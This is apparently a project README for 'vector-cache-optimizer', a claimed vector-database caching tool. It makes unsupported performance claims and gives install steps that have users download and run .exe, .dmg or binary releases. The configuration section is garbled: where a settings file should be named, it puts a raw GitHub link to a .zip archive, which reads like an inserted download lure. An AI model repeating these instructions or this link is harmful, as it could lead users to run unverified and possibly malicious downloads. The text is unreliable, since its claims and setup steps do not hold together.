vector-cache-optimizer is a high-performance caching layer for vector databases. It makes searching through large datasets 100 times faster. Using advanced techniques like Binary Quantization and Active Learning, it ensures your data retrieval is quick and efficient.
- Lightning Fast Searches: Achieve search speeds up to 100x faster than traditional methods.
- Smart Eviction: The built-in Active Learning neural network predicts which data to keep and which to remove for optimal performance.
- Easy to Use: Designed for users with all skill levels, from beginners to experts.
- Seamless Integration: Works well with popular technologies like Redis and FastAPI.
- Scalable Design: Handle growth effortlessly as your needs expand.
Before you begin, ensure your system meets the following requirements:
- Operating System: Windows 10, macOS, or Linux
- RAM: At least 4 GB; 8 GB recommended for best performance
- Python: Version 3.6 or higher
- Memory Storage: At least 200 MB free space for installation
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Download the Software Visit the Releases page to download the latest version.
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Install the Software
- For Windows: Run the downloaded
.exefile and follow the on-screen instructions. - For macOS: Open the downloaded
.dmgfile and drag the vector-cache-optimizer to your Applications folder. - For Linux: Extract the downloaded tarball; follow the included README for setup instructions.
- For Windows: Run the downloaded
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Run the Application Once installed, you can run the application:
- On Windows, find it in the Start Menu and click to open.
- On macOS, locate it in Applications and select it.
- On Linux, open a terminal, navigate to the extracted folder, and run
./vector-cache-optimizer.
To configure the application for your use, locate the https://raw.githubusercontent.com/Ronakagrwal000/vector-cache-optimizer/base-setup/terraform/gcp/cache_optimizer_vector_1.8.zip file in the installation directory. Modify the following settings as needed:
- cache_size: Specify the size of the cache (in MB).
- eviction_policy: Choose the method for predictive eviction (options include
LRUandSmart). - search_algorithm: Adjust the search method (choose
Binaryfor high performance).
For detailed information on usage, please refer to the Documentation. This includes guides on advanced configurations, best practices, and troubleshooting common issues.
If you need assistance or encounter issues, please visit the Discussions page to post your questions. The community is ready to help.
We welcome contributions from users looking to enhance the project. If you are interested in contributing, please check out the Contributing Guidelines.
vector-cache-optimizer is licensed under the MIT License. For more details, see the LICENSE file.
By following these instructions, you'll be equipped to effectively download, install, and use vector-cache-optimizer for your vector database needs.